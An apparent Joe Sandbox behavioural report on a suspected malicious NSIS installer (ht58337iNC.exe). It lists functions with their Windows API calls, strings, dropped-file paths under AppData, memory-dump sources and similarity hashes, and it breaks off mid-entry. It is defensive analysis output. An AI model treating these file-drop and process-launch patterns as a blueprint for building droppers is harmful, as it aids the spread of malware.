lstrlenW.KERNEL32(: Completed,?,?,?,: Completed,00000000,C:\Users\user\AppData\Roaming\Remontado113,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76233420), ref: 0040399F
lstrcmpiW.KERNEL32(?,.exe,: Completed,?,?,?,: Completed,00000000,C:\Users\user\AppData\Roaming\Remontado113,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(: Completed), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Remontado113), ref: 00403A06

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004038A3
"C:\Users\user\Desktop\ht58337iNC.exe", xrefs: 004038A1
Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
.exe, xrefs: 004039AC
RichEd32, xrefs: 00403ADA
1033, xrefs: 004038BE, 0040391A
: Completed, xrefs: 00403966, 0040396F, 0040397D, 004039CC, 004039D2
RichEdit20W, xrefs: 00403AEA, 00403AF0
C:\Users\user\AppData\Roaming\Remontado113, xrefs: 0040392E, 00403936, 004039D9, 004039DF, 004039EF
.DEFAULT\Control Panel\International, xrefs: 0040390A
RichEd20, xrefs: 00403ACC
_Nb, xrefs: 00403A22, 00403A8A
RichEdit, xrefs: 00403AF9

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\ht58337iNC.exe"$.DEFAULT\Control Panel\International$.exe$1033$: Completed$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Remontado113$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-4262290933
Opcode ID: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00402DEE Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,00442800,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,00442800,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

(*B, xrefs: 00402E7C
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DF5
"C:\Users\user\Desktop\ht58337iNC.exe", xrefs: 00402DF4
Inst, xrefs: 00402ED3
Error launching installer, xrefs: 00402E3E
C:\Users\user\Desktop, xrefs: 00402E49, 00402E4E, 00402E54
Null, xrefs: 00402EE5
soft, xrefs: 00402EDC
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\ht58337iNC.exe"$(*B$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-1407101831
Opcode ID: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00401767 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5F0,C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,0040A5F0,0040A5F0,00000000,00000000,0040A5F0,C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(Completed,00000000,?,762323A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,Completed,00000000,?,762323A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(Completed,0040318B,0040318B,Completed,00000000,?,762323A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(Completed,Completed), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Strings

Copy to C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup, xrefs: 00401819, 00401837
C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket, xrefs: 00401796
C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup, xrefs: 0040182D, 00401849

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup$C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket$Copy to C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup
API String ID: 1941528284-115500021
Opcode ID: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 004051B4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Completed,00000000,?,762323A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,Completed,00000000,?,762323A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(Completed,0040318B,0040318B,Completed,00000000,?,762323A0), ref: 0040520F
SetWindowTextW.USER32(Completed,Completed), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Strings

Completed, xrefs: 004051D5, 004051E5, 004051EB, 0040520E, 0040521A

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Completed
API String ID: 2531174081-3087654605
Opcode ID: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

jA, xrefs: 004031F1
... %d%%, xrefs: 0040316E
jA, xrefs: 004030E7

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 00405B11 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ht58337iNC.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ht58337iNC.exe"), ref: 00405B6A
GetFileAttributesW.KERNELBASE(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76233420,C:\Users\user\AppData\Local\Temp\), ref: 00405B7A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B11
4#v, xrefs: 00405B13

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4#v$C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-3758603893
Opcode ID: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction ID: 9ab821bc962df094d04e13ee53e7cef05d0bc350337be3d6547239d71e0b1b07
Opcode Fuzzy Hash: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction Fuzzy Hash: FFF0A429504E5115D72272361D49EBF3669CF86324B1A063FF852B22D1DB3CB952CCBD

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNELBASE(0040A300,?,00000000,?,?,?,00000000,0040329E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405C92

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C5E
nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1857211195
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNELBASE(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(Completed,00000000,?,762323A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,Completed,00000000,?,762323A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(Completed,0040318B,0040318B,Completed,00000000,?,762323A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(Completed,Completed), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 202043c5454dda3a880ce226d345d46afecf88c14aec0c9bc18f41e47eb9550b
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: 202043c5454dda3a880ce226d345d46afecf88c14aec0c9bc18f41e47eb9550b
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 004015B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

